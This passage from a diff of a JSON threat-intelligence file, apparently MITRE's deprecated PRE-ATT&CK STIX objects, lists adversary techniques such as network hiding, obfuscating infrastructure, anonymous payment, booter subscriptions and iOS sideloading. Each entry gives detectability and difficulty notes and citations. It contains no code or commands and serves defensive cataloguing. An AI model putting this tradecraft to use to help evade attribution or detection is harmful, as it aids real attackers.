"x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_detectable_by_common_defenses_explanation": "If a previous incident identified the credentials used by an adversary, defenders can potentially use these credentials to track the adversary through reuse of the same credentials.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "An adversary can easily create and use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com AWS] accounts, etc. Many service providers require some form of identifiable information such as a phone number or email address, but there are several avenues to acquire these consistent with the misattributable identity.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1099", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--90884cdb-31dd-431c-87db-9cc7e03191e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Network-based hiding techniques", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1315).\n\nTechnical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1315", + "external_id": "T1315" + }, + { + "source_name": "HAMMERTOSS2015", + "description": "FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1092", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--b79e8a3f-a109-47c2-a0e3-564955590a3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Non-traditional or less attributable payment options", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1316).\n\nUsing alternative payment options allows an adversary to hide their activities. Options include crypto currencies, barter systems, pre-paid cards or shell accounts. (Citation: Goodin300InBitcoins)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1316", + "external_id": "T1316" + }, + { + "source_name": "Goodin300InBitcoins", + "description": "Dan Goodin. (2013, October 17). You\u2019re infected\u2014if you want to see your data again, pay us $300 in Bitcoins. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender likely will not have access to payment information. Monitoring crypto-currency or barter boards is resource intensive and not fully automatable.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Easy to use pre-paid cards or shell accounts to pay for services online. Crypto currencies and barter systems can avoid use of trace-able bank or credit apparatus.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1093", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "OS-vendor provided communication channels", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1390).\n\nGoogle and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1390", + "external_id": "T1390" + }, + { + "source_name": "Securelist Mobile Malware 2013", + "description": "Roman Unuchek, Victor Chebyshev. (2014, February 24). Mobile Malware Evolution: 2013. Retrieved April 12, 2017." + }, + { + "source_name": "DroydSeuss", + "description": "Alberto Coletta, Victor van der Veen, and Federico Maggi. (2016). DroydSeuss: A Mobile Banking Trojan Tracker - Short Paper. Retrieved April 12, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1167", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obfuscate infrastructure", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1309).\n\nObfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1309", + "external_id": "T1309" + }, + { + "source_name": "LUCKYCAT2012", + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Difficult, but defender is well aware of technique and attempts to find discrepancies.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.)\nAdversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1086", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--72c8d526-1247-42d4-919c-6d7a31ca8f39", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obfuscate infrastructure", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1331).\n\nObfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1331", + "external_id": "T1331" + }, + { + "source_name": "FireEyeAPT17", + "description": "FireEye. (2015, May). APT17: Hiding in Plain Sight - FireEye and Microsoft Expose Obfuscation Tactic. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will generally not have visibility into their infrastructure.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Building and testing infrastructure and obfuscating it to protect it against intrusions are a standard part of the adversary process in preparing to conduct an operation against a target.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1108", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--9d234df0-2344-4db4-bc0f-8de9c6c071a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obfuscate operational infrastructure", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1318).\n\nObfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1318", + "external_id": "T1318" + }, + { + "source_name": "DellComfooMasters", + "description": "Joe Stewart and Don Jackson, Dell SecureWorks Counter Threat Unit(TM) Threat Intelligence. (2013, July 31). Secrets of the Comfoo Masters. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1095", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--357e137c-7589-4af1-895c-3fbad35ea4d2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obfuscate or encrypt code", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1319).\n\nObfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1319", + "external_id": "T1319" + }, + { + "source_name": "CylanceOpCleaver", + "description": "CYLANCE. (n.d.). Operation Cleaver. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Detecting encryption is easy, decrypting/deobfuscating is hard.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Various solutions exist for the adversary to use. This technique is commonly used to prevent attribution and evade detection.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1096", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obfuscation or cryptography", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1313).\n\nObfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1313", + "external_id": "T1313" + }, + { + "source_name": "FireEyeAPT28", + "description": "FireEye, Inc. (2014). APT 28: A Window into Russia\u2019s Cyber Espionage Operations?. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc. All require sophisticated knowledge, infrastructure, and funding.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1090", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obtain Apple iOS enterprise distribution key pair and certificate", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1392).\n\nThe adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1392", + "external_id": "T1392" + }, + { + "source_name": "Apple Developer Enterprise Porgram Apps", + "description": "Apple Inc.. (2016). Distributing Apple Developer Enterprise Program Apps. Retrieved April 12, 2017." + }, + { + "source_name": "Fruit vs Zombies", + "description": "Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017." + }, + { + "source_name": "WIRELURKER", + "description": "Claud Xiao. (2014). WIRELURKER: A New Era in iOS and OS X Malware. Retrieved April 12, 2017." + }, + { + "source_name": "Sideloading Change", + "description": "David Richardson. (2015, September 10). Change to sideloading apps in iOS 9 is a security win. Retrieved April 12, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_detectable_by_common_defenses_explanation": "Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1169", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--3d1488a6-59e6-455a-8b80-78b53edc33fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obtain booter/stressor subscription", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1396).\n\nConfigure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1396", + "external_id": "T1396" + }, + { + "source_name": "Krebs-Anna", + "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.", + "url": "https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/" + }, + { + "source_name": "Krebs-Booter", + "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.", + "url": "https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/" + }, + { + "source_name": "Krebs-Bazaar", + "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.", + "url": "https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1173", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Easily accessible and used to launch DDoS attacks by even novice Internet users, and can be purchased from providers for a nominal fee, some of which even accept credit cards and PayPal payments to do.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Purchase of booster services is not observable; potentially can trace booster service used to origin of sale, yet not before attack is executed. Furthermore, subscription does not automatically mean foul intention.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--46017368-6e09-412b-a29c-385be201cc03", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obtain domain/IP registration information", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1251).\n\nFor a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1251", + "external_id": "T1251" + }, + { + "source_name": "Google Domains WHOIS", + "description": "Google Domains. (n.d.). About WHOIS. Retrieved April 2, 2017." + }, + { + "source_name": "FunAndSun2012", + "description": "Jeff Bardin. (2012, October 10). OSINT and Cyber Intelligence - Fun and Sun in Miami. Retrieved March 1, 2017." + }, + { + "source_name": "Scasny2015", + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Open access to DNS registration/routing information is inherent in Internet architecture.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Proliferation of DNS information makes registration information functionally freely available.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1028", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--68b45999-bb0c-4829-bbd0-75d6dac57c94", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obtain templates/branding materials", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1281).\n\nTemplates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1281", + "external_id": "T1281" + }, + { + "source_name": "Scasny2015", + "description": "Gregory Scasny. (2015, September 14). Understanding Open Source Intelligence (OSINT) and its relationship to Identity Theft. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary may download templates or branding from publicly available presentations that the defender can't monitor.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Some branding information is publicly available when a corporation publishes their briefings to the internet which provides insight into branding information and template materials. An exhaustive list of templating and branding is likely not available on the internet.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1058", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Obtain/re-use payloads", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1346).\n\nA payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1346", + "external_id": "T1346" + }, + { + "source_name": "SonyDestover", + "description": "Kurt Baumgartner. (2014, December 4). Sony/Destover: mystery North Korean actor\u2019s destructive and past network activity. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1123", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Port redirector", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1363).\n\nRedirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1363", + "external_id": "T1363" + }, + { + "source_name": "SecureWorks HTRAN Analysis", + "description": "JOE STEWART. (2011, August 3). HTran and the Advanced Persistent Threat. Retrieved March 28, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1140", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--df42286d-dfbd-4455-bc9d-aef52ac29aa7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Post compromise tool development", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1353).\n\nAfter compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1353", + "external_id": "T1353" + }, + { + "source_name": "SofacyHits", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved March 9, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1130", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--3160347f-11ac-44a3-9640-a648b3c17a8f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Private whois services", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1305).\n\nEvery domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1305", + "external_id": "T1305" + }, + { + "source_name": "APT1", + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)", + "x_mitre_difficulty_for_adversary": "Yes", + 